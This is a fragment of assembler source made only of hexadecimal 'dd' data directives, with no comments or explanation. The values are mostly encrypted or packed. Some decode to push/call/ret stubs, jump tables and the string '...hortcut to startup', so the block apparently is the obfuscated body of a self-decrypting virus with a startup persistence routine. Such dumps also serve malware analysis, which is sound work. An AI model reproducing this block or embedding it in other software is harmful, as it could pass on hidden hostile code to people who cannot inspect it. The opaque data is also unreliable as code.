		dd 0A23C1493h, 26336AA1h, 0B39B015h, 0CE639CB8h, 26334DAAh
		dd 0A3BEF6D8h, 20137E88h, 2CB624C8h, 7635F4B5h,	0B42FF67h
		dd 0E2B03383h, 2CB61794h, 76356DB5h, 0AC92315h,	0D96355B8h
		dd 3D01680Dh, 26513D9Eh, 0AD666A98h, 74646474h,	2E4E11CEh
		dd 24DA8DABh, 6633A698h, 260CD3DFh, 0D9C62C97h,	0EF002B67h
		dd 0CF3B1713h, 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h
		dd 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h
		dd 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h
		dd 7F6C8EC6h, 2637A851h, 0ACB8815h, 0ABBE9CB8h,	201363B5h
		dd 9320h, 0E7FC7800h, 7310271h,	0C783C8D0h, 850F4904h
		dd 0FFFFFFF2h, 2E2DB58Dh, 8D8D0620h, 6202E4Ch, 0E983CF2Bh
		dd 20C88B05h, 0AC67F181h, 410158EAh, 80131DAh, 0C7581232h
		dd 264DBB6Bh, 2545B336h, 80012B36h, 83507332h, 5D56088Fh
		dd 14A9EFDDh, 0A50B63Dh, 46B3232h, 202DA62h, 59213232h
		dd 0C4886AF1h, 4803616h, 20173616h, 40413232h, 8CD7E6F1h
		dd 548CD9B2h, 20139DBh,	95CA832h, 0E4F25228h, 372CAEC7h
		dd 91B4B96Dh, 93072935h, 131F978Fh, 800E3234h, 2013201h
		dd 0E9503258h, 80013231h, 19C26B12h, 24257EBBh,	142576B3h
		dd 8013229h, 7DC26373h,	75558950h, 8A66DEAAh, 9B03EB87h
		dd 41DCDB34h, 9BE3232h,	80434669h, 58F2B954h, 0A7A48952h
		dd 926022E2h, 2E14AFB9h, 7E8A3429h, 644D333Dh, 760158CCh
		dd 100131DAh, 0CB5F1232h, 2075BB6Ch, 2645B336h,	1012B36h
		dd 43577432h, 0CAB849D6h, 65BA223Eh, 40240A37h,	279CBF33h
		dd 0B5F3429h, 6859EC85h, 2E96232h, 0A0013232h, 0C959F16Ah
		dd 0A1051676h, 0B051676h, 48013232h, 2BF9F162h,	7A31C6AAh
		dd 286136F2h, 9B03BF8Fh, 80B63D34h, 41BC1B53h, 93072933h
		dd 0D58B1EF2h, 8F673AB9h, 8361CE7Ah, 7D9849E2h,	9BC030Dh
		dd 21072924h, 1638B354h, 0BB853DCDh, 5F013232h,	40121DBh
		dd 1236D932h, 0F395DFBh, 50359877h, 692133D4h, 5DEE2FE8h
		dd 19C0B16Ch, 0E0563258h, 4013231h, 5DC26D12h, 5254EBBh
		dd 842576B3h, 40013224h, 4CC26575h, 0A70E9F57h,	0E138B2C1h
		dd 4ECB73Dh, 89673232h,	40B9C1h, 8AF887BBh, 88023429h
		dd 391087BBh, 16E83429h, 82013232h, 0C9137816h,	7C0B1E9h
		dd 0E9543258h, 80013231h, 1DC26F12h, 24255EBBh,	142576B3h
		dd 801322Bh, 5EC26777h,	8CC9352Ah, 0F9BE3DB9h, 0CB910BB3h
		dd 0C50EB971h, 200132A9h, 1088FBBh, 840E3429h, 4013234h
		dd 0CBCAF1Bh, 8C8C3429h, 861A7EE1h, 0A8573258h,	20013231h
		dd 4EC26C12h, 0C2546BBh, 2576B3h, 2013225h, 0FFC26474h
		dd 8FD3119Fh, 400129B2h, 2013DA32h, 0A4D63232h,	0B89E012Ch
		dd 5BF521Dh, 2FA94AFAh,	0EEAEDC59h, 0DAF6B954h,	4001318Ah
		dd 0F5B41B32h, 0EF07291Ch, 5A0158D3h, 40131DAh,	0C15B1232h
		dd 2555BB68h, 0A445B336h, 40012636h, 0E3537032h, 1E863D9Fh
		dd 0E1013232h, 401323Bh, 90C2796Eh, 0CB3C2E9h, 0E1BCBB83h
		dd 21072929h, 0C8543258h, 10013231h, 55C26F12h,	255EBBh
		dd 62576B3h, 1013228h, 3AC26777h, 632FAF62h, 0F98AC4B7h
		dd 3E4F8FBFh, 858C3412h, 221033Dh, 9082468Ah, 88840133h
		dd 0AB072939h, 20E8F3FDh, 0AC67F181h, 410158EAh, 80131DAh
		dd 0C7581232h, 264DBB6Bh, 2545B336h, 0F305E983h, 6AC08BA4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0D356C356h, 3B590111h, 6A8712B4h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0DE3BC353h, 319EA435h, 81662C3Bh, 8B67ABDAh,	13E8C3h
		dd 3130000h, 14F8A24Ch,	7BCAE13Bh, 7B0DAC17h, 1E4E0A60h
		dd 0C9852965h, 58061B03h, 6880Fh, 8D8B0000h, 61B32F1h
		dd 70C5C081h, 0BE80000h, 13000000h, 0EC9F3F2Bh,	9E38DF3Ch
		dd 0B523E2FDh, 61B1A5Dh, 685Eh,	85890000h, 61B0785h, 0CE95Bh
		dd 9A8A0000h, 0AF730799h, 19D9DD1Ah, 148B6C8Ah,	0B58B5618h
		dd 61B293Dh, 1CF2815Fh,	603FFF44h, 8BD7BF0Fh, 1B24C98Dh
		dd 0C2816106h, 50200F02h, 2EC5BD29h, 0F281061Bh, 5E849966h
		dd 0D1816660h, 52618BD1h, 845BD8Bh, 48F061Bh, 0A6D9B918h
		dd 0BD097CE7h, 61B2AF5h, 0E6E1EB81h, 31607EB1h,	1B0C7D95h
		dd 0CE906h, 5D250000h, 2A605B39h, 80F677F2h, 8161D8ABh
		dd 0B1E6DDC3h, 0DE97Eh,	54450000h, 2A770629h, 1A1012BFh
		dd 811811D8h, 0FF9024FBh, 73850FFFh, 9FFFFFFh, 0B659990Dh
		dd 9A3B0A9Fh, 1E598CE4h, 2AD0413Ch, 43596DB9h, 89B00C84h
		dd 6E4438EAh, 0EA5B95F2h, 0AF93DD39h, 53C50C82h, 1C99B107h
		dd 0E2B00A9Fh, 0C0E35C9Dh, 0A1B3B444h, 57390C84h, 6FAB2125h
		dd 12FD9109h, 894F0A99h, 903354DFh, 90AB3DADh, 1BA77884h
		dd 0A1B3B4D7h, 57390C84h, 6FAB2125h, 178C9109h,	894F0A99h
		dd 0DE3154DFh, 0D2474937h, 0A3E60CEEh, 0A5B00C87h, 8C7352A4h
		dd 6D94780Dh, 0B0944805h, 5AB00C98h, 16735AC2h,	0F4C4CF91h
		dd 0C2CC09ACh, 2EB2C104h, 0D2A2E444h, 0B0C84h, 0A32BE34Fh
		dd 5DB8CC48h, 2FF15DFCh, 2CCE7C5Dh, 6519890Dh, 0C3E90A9Fh
		dd 0D2DAD408h, 69B3E4D1h, 0E9900C84h, 36395147h, 693108A0h
		dd 96A408A0h, 1EF50C84h, 0A118E947h, 0D6C2888Bh, 69DA0C84h
		dd 0B4B3E4D5h
		dd 3900C84h, 61395547h,	0D23108A0h, 4BA708A0h, 0F4F10C84h
		dd 0C290DE47h, 0CC0D8FFCh, 0B4B6179Ah, 5A9D888Bh, 0CE300C84h
		dd 928EE590h, 4BDA0C84h, 0A5B3E4D6h, 88900C84h,	3D395647h
		dd 0F03108A0h, 5AA408A0h, 7FF20C84h, 29BF9347h,	2A25874Fh
		dd 1BB61783h, 0D0B02B84h, 81E70CEEh, 0B4B00C87h, 57353A4h
		dd 2994700Dh, 92944805h, 4BB00C91h, 49735BC3h, 0CD358168h
		dd 6AB6120Dh, 0AFBD0111h, 5560F382h, 2DB02405h,	98586C84h
		dd 4AB00C84h, 3FC2B95h,	0CACA033Ah, 93EA11A3h, 0B95954F0h
		dd 74B00C84h, 11450834h, 0A7A5FDB2h, 7A267F64h,	0AA7089E5h
		dd 0D2B0E500h, 0E8618784h, 35D65BBCh, 7835037Fh, 0C5B00C84h
		dd 96B00C8Ch, 0BE3BDA01h, 1BA2597Dh, 0B4EFDB0Fh, 6BB47405h
		dd 1340386h, 0D3B00C87h, 36BC2111h, 0AE316A82h,	0CEBF6C18h
		dd 0A5B00C2Ah, 3AE50CEEh, 69B00C87h, 0E97351A4h, 5E94600Dh
		dd 29944805h, 96B00C91h, 4A7359C1h, 0A5B8E5F5h,	0B1210C84h
		dd 256211ABh, 0CC3034E7h, 0DFBFE486h, 2DB00CFEh, 7EE20CEEh
		dd 4BB00C87h, 0FF7356A4h, 0D694580Dh, 6D944805h, 0B4B00C90h
		dd 72735EC6h, 3529990Fh, 17D60A9Fh, 0E0B00AFCh,	0A5FC898Bh
		dd 0D2DA0C84h, 69B3E4D2h, 0EA900C84h, 2E395247h, 693108A0h
		dd 96AD08A0h, 1DF60C84h, 0FEF76E47h, 0D0568F22h, 80A3FADCh
		dd 0B4B00F9Ch, 0B2E70CEEh, 2DB00C87h, 0C97353A4h, 4F94700Dh
		dd 0A1944805h, 0D2B00C93h, 85735BC3h, 0BBD2B024h, 5A0EF63Bh
		dd 0A0F60D85h, 88391301h, 8A2D8782h, 5AB61796h,	578BBA54h
		dd 0C4340344h, 0DEB00C86h, 59585A84h, 0DB00C84h, 1FEECFDAh
		dd 0CAB428F0h, 0B8B428C0h, 94B00C84h, 3583CFD2h, 4BF2AAECh
		dd 0ECFD6A56h, 10D63405h, 13BF0E86h, 4BB00CAAh,	0A5A1E4D2h
		dd 0B27B0C84h, 5256C63Eh, 58384AFFh, 8FCB4CF3h,	0A769AB79h
		dd 17EB5568h, 76D60AFCh, 21BF76DBh, 0D2B00E04h,	48A5890Dh
		dd 35D60A9Fh, 55D090BCh, 2DB0BF01h, 0C0B06684h,	4BB00F6Ch
		dd 66EE2C84h, 0F6C485DAh, 4DF48D80h, 0B4B01680h, 99E64A84h
		dd 0E2B30812h, 7F18DFBBh, 4BB00C96h, 0A29BF7B4h, 0E83B81A1h
		dd 9757F111h, 7B9DC8B1h, 913B89BDh, 0C5B27404h,	96DE898Bh
		dd 4BDA0C84h, 0A5B3E4D2h, 8C900C84h, 1D395247h,	0F03108A0h
		dd 5AAC08A0h, 7BF60C84h, 0D2E60947h, 9A34265Eh,	383919E3h
		dd 0D4AB143Dh, 6FC88DE2h, 31BFCC84h, 5AB00CBCh,	0C5E30CEEh
		dd 96B00C87h, 107357A4h, 0A194500Dh, 0D6944805h, 69B00C9Eh
		dd 6B735FC7h, 9FAA0B7Eh, 0AABF9324h, 96B00C87h,	0A2AEEB04h
		dd 0A5B00D40h, 0F30D87D7h, 32B617B6h, 0B5B10C3Ah, 0DB066FAh
		dd 2DB00F6Ch, 55EF2C84h, 6FCC85DBh, 81F48D80h, 0D2B01B80h
		dd 0AAE74B84h, 6DB7834Eh, 0D3AF8909h, 2DDA0A9Ah, 96B3E4D1h
		dd 16900C84h, 0C9395147h, 963108A0h, 69A408A0h,	0E1F50C84h
		dd 57587B47h, 77B00C84h, 9940C2F3h, 0FC9DD098h,	0DDEAE767h
		dd 0D581990Fh, 96EB0A9Fh, 39B16C54h, 5CAB2735h,	2DB0096Dh
		dd 0FD8BFA84h, 2DD16468h, 2010CC3Fh, 0C3340344h, 3B00C85h
		dd 0B7585D84h, 7AB00C84h, 0A4E9CFDDh, 17B428C8h, 52B428C0h
		dd 0E4B00C84h, 0CDB2CFD5h, 9469B5FCh, 0BB583404h, 5AB03301h
		dd 7DB06684h, 96B00F6Ch, 88E82C84h, 81F485DCh, 0F6F48D80h
		dd 69B01180h, 77E04C84h, 0D3301C0h, 157EC388h, 1645BF63h
		dd 44C309FCh, 0A5B00301h, 526F8784h, 66E30BFCh,	0B4B0DB00h
		dd 8D070384h, 0A2888DE2h, 0B350381h, 21B00C84h,	0A6585E84h
		dd 0F2B00C84h, 0E0EACFDEh, 35B428D0h, 4CB428C0h, 6FB00C84h
		dd 3E6FCFD6h, 4DC88CCEh, 0D03503ECh, 0B8B00C84h, 6A585D84h
		dd 94B00C84h, 0D3E9CFDDh, 0ACB428C8h, 8FB428C0h, 0AB00C84h
		dd 0EB03CFD5h, 0E90212A1h, 0D1F5743Dh, 0CC316AF5h, 5595F38Fh
		dd 2DB04F01h, 0D7358584h, 0A2B6178Dh, 0A5B00CE0h, 3AE20CEEh
		dd 69B00C87h, 0EE7356A4h, 5E94580Dh, 29944805h,	96B00C98h
		dd 48735EC6h, 4412DB3Fh, 0B15764B7h, 69B0036Dh,	822BFC84h
		dd 45839212h, 0AB98D1E7h, 265C7FF2h, 0CABFCCAFh, 0A5B00C96h
		dd 0D2B0016Dh, 750E3984h, 6FDC5AF9h, 9098BD9Eh,	35598948h
		dd 7FB00C84h, 4BB00C8Ch, 611EDBE3h, 0BA328428h,	69B00D3Ch
		dd 0E12D8584h, 0AB617A0h, 1278B43Bh, 0B2B48592h, 0A3E70CEEh
		dd 0A5B00C87h, 8D7353A4h, 6D94700Dh, 0B0944805h, 5AB00C99h
		dd 0E3735BC3h, 0C36CE8CEh, 0EE53D5E3h, 0D85C7h,	5FB617AEh
		dd 49826239h, 0F23D8182h, 0E2B62CBCh, 5AD659A7h, 9A058987h
		dd 849B0A9Fh, 3AB2E545h, 0FAB5B10Ch, 6C0DB066h,	842DB00Fh
		dd 0DB55EF2Ch, 806FCC85h, 8381F48Dh, 0A4F305E9h, 9E858h
		dd 2F900000h, 0E8988340h, 81EF3AA5h, 94DC3BC1h,	0F605A33h
		dd 8E9CBB7h, 0D1000000h, 21F38B24h, 61A6B95Fh, 840FC00Bh
		dd 7Ch,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah
		dd 0BAC35646h, 6CEDA99Ah, 0B966CB98h, 0B58D70D5h, 61B4CD3h
		dd 8D0FD78Bh, 17h, 0BE8h, 0A90FC300h, 0C1E2A608h, 0B763997Eh
		dd 800Fh, 0B85F0000h, 3, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 0C35646h, 0B31CF4D4h,	0B2D958Bh, 0E6FF061Bh
		dd 0DA73B966h, 52006A40h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8B57D3FCh, 0D8B0FC0h
		dd 60000000h, 62DB529h,	89BB061Bh, 6168F519h, 23D1BD83h
		dd 7500061Bh, 29BD8309h, 61B31h, 53501974h, 3B8C08Bh, 89000004h
		dd 1B213185h, 0B49D8D06h, 0FF061DA6h, 83585BD3h, 1B3129BDh
		dd 17740006h, 3B85350h,	89000004h, 1B213185h, 559D8D06h
		dd 0FF061DA3h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0B2FDC356h,	0D2268658h
		dd 81940DE7h, 0C69C55E3h, 95958B32h, 89061B18h,	1B1EA195h
		dd 66C08B06h, 8E8D98Bh,	0
		dd 24FFC44Fh, 66F838E9h, 6159D38Bh, 0B0E9h, 8C666000h
		dd 4C2F6DAh, 0C850Fh, 853B0000h, 61B2BF9h, 36840Fh, 853B0000h
		dd 61B29B5h, 2A840Fh, 853B0000h, 61B2DB9h, 1E840Fh, 853B0000h
		dd 61B28EDh, 12840Fh, 0BD830000h, 61B28D9h, 5840F01h, 0E9000000h
		dd 5Fh,	5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh
		dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h
		dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh
		dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h
		dd 61B4CD3h, 5B8h, 61E3FF00h, 8DD00BC3h, 1B24799Dh, 39B806h
		dd 85890000h, 61B3255h,	0E8h, 0D055800h, 89000000h, 39E903h
		dd 0
		dd 0Dh dup(77E6h), 8DFF77E6h, 203BC98Dh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0CE3528B2h, 193BA66h, 24298D89h, 6A061Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 495796C3h
		dd 68B9399Bh, 0DA8B66FDh, 0D2D38166h, 6585C747h, 0A8061B07h
		dd 6A000070h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0A79CC355h, 2A333B5Eh,	1D5DB58Bh
		dd 8589061Bh, 61B2BD9h,	13D185C7h, 61Bh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD89EFC3h, 61B0D29h, 981B5FFh, 8529061Bh, 61B3039h
		dd 2F8595FFh, 87BB061Bh, 6A41FA9Dh, 595FF00h, 8B061B22h
		dd 0B80AEBC0h, 0A54313CEh, 162391E3h, 536CEB53h, 74726F68h
		dd 20747563h, 73206F74h, 74726174h, 7075h, 13h dup(0)
		dd 8C000000h, 1014F19h,	0E9000000h, 0F18h, 203DFC68h, 98EE906h
		dd 0D368FFFCh, 0E906203Eh, 0FFFC0984h, 20407E68h, 97AE906h
		dd 0C768FFFCh, 0E9062040h, 0FFFC0970h, 20417C68h, 966E906h
		dd 768FFFCh, 0E9062042h, 0FFFC095Ch, 20465568h,	952E906h
		dd 0F268FFFCh, 0E9062048h, 0FFFC0948h, 2049D368h, 93EE906h
		dd 0B58EFFFCh, 0FBC0D19Fh, 8AB25F51h, 0F7C5C6BCh, 91AC5D53h
		dd 16EAF1BFh, 3E341C27h, 0E3DD714Dh, 3C361C26h,	0EAD8704Fh
		dd 85F3EF70h, 4E4AF19Eh, 0C33E1F5h, 7E3D3E3Ch, 0F067F8CAh
		dd 0D1A29AE2h, 0DFF5614Ch, 57B8811Bh, 937B1A21h, 0D146CF45h
		dd 0C63D7FC2h, 0EEAB50E9h, 786A7CD2h, 52CCB273h, 437E1D36h
		dd 0CEF273BDh, 0CAD7DD0Dh, 0F5DF4A1Dh, 6A79EE48h, 0CCB09B11h
		dd 923395A4h, 82E0F1h, 94CEACBAh, 4ACA55E0h, 0AC0ECA91h
		dd 50C9E481h, 27E9h, 7A241B00h,	22AFA334h, 0EF52CCB3h
		dd 0C5B7B187h, 0B44ACA93h, 56C729A7h, 0F50CAAEh, 0DBDD6F4Ch
		dd 0EC997B69h, 4B000000h, 3E3C0C33h, 59CE823Dh,	0D42744Ah
		dd 0A81E1C30h, 6F226DBBh, 0B7868365h, 0B38B7C46h, 95930193h
		dd 8D63E5D4h, 0D1876043h, 5EEAD14Ch, 0B098A764h, 809205BAh
		dd 4CD187F8h, 0B9819303h, 0FCC599Fh, 9B0C1A32h,	0CC9A9287h
		dd 0FDB49F52h, 85C7745Ah, 0DB36118Ch, 0F18B7749h, 5F613AABh
		dd 8A3FF5F3h, 2BA197B5h, 11B6AC39h, 5454DDA6h, 361028E3h
		dd 0E8908234h, 0F34CD7EAh, 0C7841183h, 0D63F55FDh, 14834AF5h
		dd 7EEC6B97h, 347F5D6h,	0CFF29F91h, 2AABF181h, 0F4D65DEAh
		dd 0CD1F3h, 0C68E3700h,	2A221FECh, 0C3833B58h, 2C1E1CEDh
		dd 0C68A3556h, 2C11E9ECh, 0A0713F11h, 0D3C0B29Ch, 828F61F1h
		dd 1DB38DBBh, 9FD2AAB8h, 0CA194AF1h, 401033B4h,	639AA172h
		dd 0ABC16D60h, 81AD3B08h, 359F1513h, 0A3899A3Bh, 0E6DAE668h
		dd 7F16E0F6h, 32048F64h, 0AABCFB28h, 0E572B8E2h, 0CC1464EDh
		dd 0BA822952h, 0AE38AE8Ch, 34E296CCh, 0C88F4ACAh, 497FAE10h
		dd 96E750CAh, 1D000000h, 3E3C0C33h, 0D3CF823Dh,	4CD1A2A5h
		dd 5C5EC82Eh, 0D1A64366h, 5F5D3E4Ch, 0A686F6ECh, 0E94D4CD1h
		dd 0DDC77D7Bh, 350B3DFCh, 5E36554h, 881D63F5h, 0CCBB819Ah
		dd 582A8C52h, 53F5C487h, 99DF7941h, 6C7E160Ch, 31A554DDh
		dd 74DCE7A4h, 9EB28D7Eh, 0EA5598E6h, 0F0F5D35Dh, 0BFAh
		dd 0FBF55F60h, 251B310Eh, 0F25464h, 231D2D13h, 0FBF55B66h
		dd 42FD40D8h, 6B57340Eh, 42FC0DE3h, 4A712210h, 0C94E04FEh
		dd 0F19CA3D9h, 3DB284Ah, 72401033h, 0D4AE9AA1h,	3C0C33A2h
		dd 0CA7E3D3Eh, 6E6C67F8h, 5DD8F306h, 0CA863912h, 84EF0DCh
		dd 9FEA839Fh, 0A70F52CCh, 0E95D5D3Eh, 0B1C3FDFBh, 0E04ACABBh
		dd 0B2DB3D1Bh, 1A50CAC6h, 11h, 8AF2FCCh, 63380000h, 44FAF060h
		dd 7F95BD87h, 347A24B5h, 76D0E8A3h, 3309C274h, 0F980D17h
		dd 72452F14h, 0D4C2F906h, 0CCE6F1BEh, 18128452h, 73D5E4A7h
		dd 51D2BF75h, 8F9C90F0h, 9E9D7E68h, 80CAF0ABh, 0CAE6EA92h
		dd 0F85F14Ah, 0FF497021h, 0C5FF7D96h, 0C51E2C42h, 0D6C056FAh
		dd 0EF74DED4h, 0D328F216h, 60E8D715h, 0B6A2DCF7h, 0FF1BC51Fh
		dd 4F6E1B15h, 0B0C9FFF9h, 792D8E65h, 0A990CE8Ah, 71E36554h
		dd 9DAB927Fh, 4C712A9Bh, 0CF4509B5h, 0F0543FAh,	0F7B65C01h
		dd 51E391Dh, 0A4001849h, 5F6E0C4h, 0C082594Bh, 0E7DB9892h
		dd 49DB9167h, 84774D58h, 2234A4D8h, 0FCF65269h,	2218300Fh
		dd 75E22852h, 7FB13E5Eh, 0C7DD8AF3h, 0F1EF445Eh, 0D992CC6Ch
		dd 1EF65E1h, 98C2EF47h,	28CDC552h, 0BDCA77A5h, 475BCC59h
		dd 0D271E231h, 0A34A5CBAh, 61C21C2Bh, 165CFE04h, 8B351681h
		dd 0AE8CBE7Ch, 1ACCAE38h, 1B25160Ch, 0CE28127Ch, 387E20ECh
		dd 7B0BB3AFh, 9F4C146Ch, 1DCFA9A1h, 7E3D1E87h, 0F067F8CAh
		dd 645B9AE2h, 0DFF5610Ch, 7D35132Ah, 9E99C54Bh,	4F935436h
		dd 0B500000Ah, 997A480Ch, 0B9DAA8A4h, 9E6B4501h, 0BBD8AAA0h
		dd 637A4808h, 0ADA39E9Fh, 440AB6D3h, 0AFA39D6Eh, 5FE9D0C1h
		dd 3C56C791h, 4AF1E23Ch, 7F9A5CC7h, 0B8AEA09Ch,	1E21DCE3h
		dd 10863832h, 0E3CC3664h, 0A263455Dh, 0A06h, 2F01536Ch
		dd 1EF5D62h, 241E2810h,	0FFF15967h, 4F212F12h, 7649F40Ch
		dd 172BE8DAh, 76484937h, 1625E6DCh, 59A4032h, 0F1E26F0Dh
		dd 470F744Ah, 0AB3C0C33h, 0D3D20AB8h, 0D150B9BFh, 0BFD4424Ch
		dd 0D5BFA105h, 252B16D3h, 4739754Bh, 0F5BAC2D0h, 0EED54CD1h
		dd 257E2DBDh, 4D57BF40h, 95DB7Dh, 0CCF5ED12h, 0CF9EF852h
		dd 7DDBD6DFh, 0F83E6088h, 1F23F86Fh, 0E2B252Fh,	53956AF2h
		dd 63F505E3h, 2C9A881Dh, 2B937A92h, 0BA815ACBh,	800A198Eh
		dd 6718C116h, 90AF8EEh,	7DFB1732h, 868B7297h, 51A01A8Dh
		dd 9F352D6Fh, 7B5F7D35h, 80522587h, 9517Fh, 460EB700h
		dd 0AAA29F6Ch, 4303BBD8h, 0AC9E9C6Dh, 460AB5D6h, 0AC91696Ch
		dd 20F1BF91h, 5340321Ch, 20FE171h, 9D330D3Bh, 0E3522A38h
		dd 4A994AF1h, 3C0C3334h, 0D59A893Eh, 0A20D946Ch, 745FACFh
		dd 0D0823C1Dh, 0DC20F8E2h, 96A84CD1h, 7B50C750h, 7F9183C3h
		dd 52F1D383h, 0D45FFACh, 78A8B92Bh, 0D46DC144h,	8358CD57h
		dd 21B68CBCh, 0B3DC9CB6h, 0AF274AF1h, 73D5E4A5h, 87C97475h
		dd 84CEF0B1h, 3DCD6F0h,	22E3C564h, 8C6h, 6F41132Ch, 0C1AF9DA2h
		dd 645EE8D0h, 0BFB199A7h, 8F61EFD2h, 0B689B44Ch, 0D7EBA89Ah
		dd 0B6888977h, 0D6E5A69Ch, 45DA8072h, 0F1E02F4Dh, 874FB44Ah
		dd 3E3C0C33h, 0C07F7E3Dh, 0CF1C1E88h, 0D7E624BCh, 49DE7F71h
		dd 0D1A22359h, 584EA84Ch, 0E5DF2E5Fh, 59B9656h,	24400000h
		dd 0AFA3347Ah, 52F1ADB3h, 7C6F7DCh, 0D2D1A7FDh,	0D68862F0h
		dd 8A41D640h, 0DF9B95B3h, 3E7476BCh, 0F0156DEBh, 87795724h
		dd 5D7A0210h, 1581339Dh, 0DBF726FFh, 435FD798h,	95000000h
		dd 0A2337924h, 12501E35h, 33CB29F1h, 2A492F21h,	24924CD1h
		dd 8CAC0C46h, 0C1832D31h, 0E6DA9791h, 0C5DD9268h, 6CB648B7h
		dd 14E3DA3Ch, 9D6A493Ch, 0F13C61C3h, 7A4367Dh, 52000000h
		dd 2702Fh, 7A24D700h, 0D0E8A334h, 0A036162Bh, 950214CAh
		dd 0D6724902h, 0DDF562D4h, 4CD1A29Fh, 0EEE4F264h, 52F1AE4Ch
		dd 8BC5A313h, 4AF19EEEh, 988A4615h, 1E30678Bh, 8B36F93Fh
		dd 75454FC5h, 0DE6C52E3h, 5A48DF48h, 4AF10922h,	0CE574DA9h
		dd 0D10566D4h, 0B38DE954h, 58E2EBD6h, 814DE968h, 5E1B1D87h
		dd 6B78ED63h, 0CF43E1FCh, 0FE546E79h, 0A07C7E68h, 1C8B7D5Bh
		dd 0D1D47606h, 0B197D4Ch, 48DD734Eh, 6A51AC93h,	0FC6ADCDEh
		dd 0B09348FEh, 0CFBCB6A0h, 5DCA5BF3h, 0D1D43745h, 4C5ABC4Ch
		dd 0BE91AD6Eh, 0D1D4D4A4h, 2DB71F4Ch, 0CE8A6F4Bh, 0D0A2AC90h
		dd 0D1D4C88Ah, 8B980F4Ch, 719211ABh, 0DF9DB32Fh, 244CD10Fh
		dd 67E3D9B2h, 10C9DB91h, 65E1D92Eh, 43F8D183h, 27BD2F09h
		dd 0C7813859h, 79241BF1h, 667CD5E8h, 4CD1A216h,	0DEB79DDh
		dd 9348CD57h, 0FFC9FAFh, 0F87A1B33h, 0FC99AF3h,	0B7F6061Dh
		dd 2F6A7557h, 64DD4025h, 0E4556E5h, 6F000004h, 49F51033h
		dd 0D4764405h, 4E26842h, 0EBDD7B48h, 42F90E30h,	24B22406h
		dd 0C5869046h, 0AF5C56FAh, 601BBC94h, 6E65F25Ch, 0FB59A2Ch
		dd 46BFD58Fh, 7A6CE4D3h, 0A4B29EA1h, 1729DCE7h,	1D873D3Bh
		dd 0A6A2994Eh, 0B40013C4h, 55F9C5B1h, 77F0E153h
		dd 49574D57h, 4CD1A630h, 754FB689h, 0B07147DDh,	4CE9BF89h
		dd 0B33E31AFh, 0FD7B9700h, 64CD1A6h, 1BB58690h,	1F1FDEDDh
		dd 0FA6CDEDCh, 0EAD84E00h, 0AA3B1729h, 0A657253Dh, 0EF9C4CD1h
		dd 0FBE97BD3h, 0A6B6C3FDh, 23D84CD1h, 153D0745h, 9A9B351Bh
		dd 0DED74CD1h, 56E5D3C4h, 0FFFF2116h, 526A21FFh, 3314E2F4h
		dd 45463C0Ch, 0D245D276h, 0D1A2B8C0h, 0C1D3434Ch, 0A288F1E7h
		dd 68774CD1h, 0BD8BB2F0h, 55FBC6C3h, 43A85D53h,	71499D24h
		dd 9496B48Ah, 0B5B6B422h, 644FA09h, 0BCBB9A90h,	25323124h
		dd 342EB9ABh, 9CA20344h, 58E5655Bh, 9E0FE8FEh, 686723Eh
		dd 59h,	9D9C7FB0h, 0A7D1B9ABh, 5CDEF461h, 2352F1AEh, 1F75168h
		dd 0E9DFD94Bh, 4AF19E9Ch, 0FE60F8FFh, 50C5898Fh, 2AF7h
		dd 0F2FAAD00h, 654CD19Ch, 6D65F256h, 4CD1A80Fh,	13F462D4h
		dd 0FFFFFDAAh, 132FC3h,	2B380000h, 77307A11h, 0B18C4DCEh
		dd 2FBFB59Fh, 2ADh, 3B647FD7h, 58EECEEDh, 18F7EC62h, 3D01DA46h
		dd 0AFA51711h, 0F065E3DAh, 300D6B67h, 60D64CD1h, 0C8777476h
		dd 362DB280h, 5BDF3A5Eh, 9B5F75B8h, 712ABB01h, 49FBFD49h
		dd 0D3D8CA5Bh, 9652CC62h, 674105B5h, 0F85EDFF5h, 26B4C802h
		dd 350B4ACAh, 66561315h, 0CEB0AE0h, 252B1654h, 20039143h
		dd 0F21B7D5Bh, 5A50CA56h, 32h, 3B102EEDh, 0CA2E5127h, 0AA3C9A4Ah
		dd 7A24CABCh, 22AFA334h, 752CCB3h, 0CED87A44h, 0DDD3D541h
		dd 4ACA939Bh, 5670106h,	50CAAE98h, 0BF00h, 0C33B600h, 0D2893E3Ch
		dd 93485EECh, 0C9CAA0B0h, 975456F2h, 0CBB1A1A8h, 104CD1A2h
		dd 184230A6h, 4CD1A635h, 9A0B3DFCh, 6C4EFAC1h, 0E616ECFAh
		dd 0E990E54h, 81C7CA15h, 2101EB6h, 4CD19D7Ah, 84341581h
		dd 6076E8C2h, 7907DBF7h, 4EA852C6h, 0AE8D4ED9h,	50FCC19Ah
		dd 19F2E45Ah, 3B582A26h, 1C3CC888h, 57640168h, 4787479h
		dd 0E5DE0000h, 0AB90816Fh, 0FAC2CFA1h, 0A795764Ch, 1BCCDA3h
		dd 0A67A614Fh, 0CEA4AC97h, 734D01BDh, 0CCA6AC96h, 7A4800BFh
		dd 15637FE0h, 0DE4AF1E4h, 10337185h, 0A22B5141h, 0FBB04CD1h
		dd 0BC320848h, 11C6BC2Ah, 0F0CA883Ah, 8CB3687Eh, 3A11C6BCh
